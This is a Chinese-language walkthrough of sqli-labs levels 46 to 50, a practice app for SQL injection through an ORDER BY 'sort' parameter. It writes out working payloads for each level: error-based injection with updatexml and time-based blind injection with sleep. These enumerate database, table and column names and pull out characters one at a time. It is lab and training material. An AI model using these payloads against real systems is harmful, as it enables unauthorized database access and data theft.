less-46
1.判断注入点
?sort=1' 页面出现报错

2.判断闭合方式
?sort=1 --+

3.查询数据库
因为页面有报错 所以使用报错注入
?sort=1 and updatexml(1,concat(1,database()),1)--+

4.查询数据库的所有表
?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询users表的所有字段
?sort=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

less-47
1.判断注入点
?sort=1' 页面出现报错 说明存在注入

2.判断闭合方式
?sort=1' --+ 页面不报错 成功闭合

3.查询数据库名
页面有报错 可以使用报错注入
?sort=1' and updatexml(1,concat(1,database()),1)--+

4.查询数据库的所有表
?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询users表的所有字段
?sort=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

less-48
1.判断注入点
正常页面?sort=1

错误页面?sort=1'

页面只有两种页面 可以尝试使用布尔盲注或者时间盲注
2.判断闭合方式
?sort=1 --+ 页面显示正常 闭合成功

3.查询数据库名
这里使用时间盲注
?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)
截取数据库的第一个字符 然后进行ASCII码对比 当第一位字符的ASCII码大于114时 页面有延迟

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)
当第一位字符的ASCII码大于115时 页面没有延迟 说明第一位字符的ASCII码=115 也就是s

以此类推 可以得出数据库名为security
4.查询数据库的所有表
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)
当第一位字符的ASCII码大于100时 页面出现延迟

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)
当第一位字符的ASCII码大于101时 页面没有延迟 说明第一位字符的ASCII码=101 也就是e

以此类推 可以得出第一个表为email
5.查询users表的所有字段
sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))=105,sleep(5),1) --+
当users表的第一个字符的ASCII值=105时 页面出现延迟 说明第一个字符的ASCII=105 也就是’i

以此类推 可以得出第一个字段是id
less-49
这一关同样是时间盲注 注入操作跟48关一样
不同点是闭合方式不同 这一关的闭合方式为?sort=1' --+
less-50
1.判断注入点
?sort=1' 页面出现报错

2.判断闭合方式
?sort=1' --+ 闭合成功

3.使用报错注入
因为页面有报错提示 可以使用报错注入查询 注入操作跟46关一样



![Pycharm can‘t open file ‘D:\\Program‘: [Errno 2] No such file or directory](https://i-blog.csdnimg.cn/direct/fa09725f694e44dd965aa160b542877c.png)















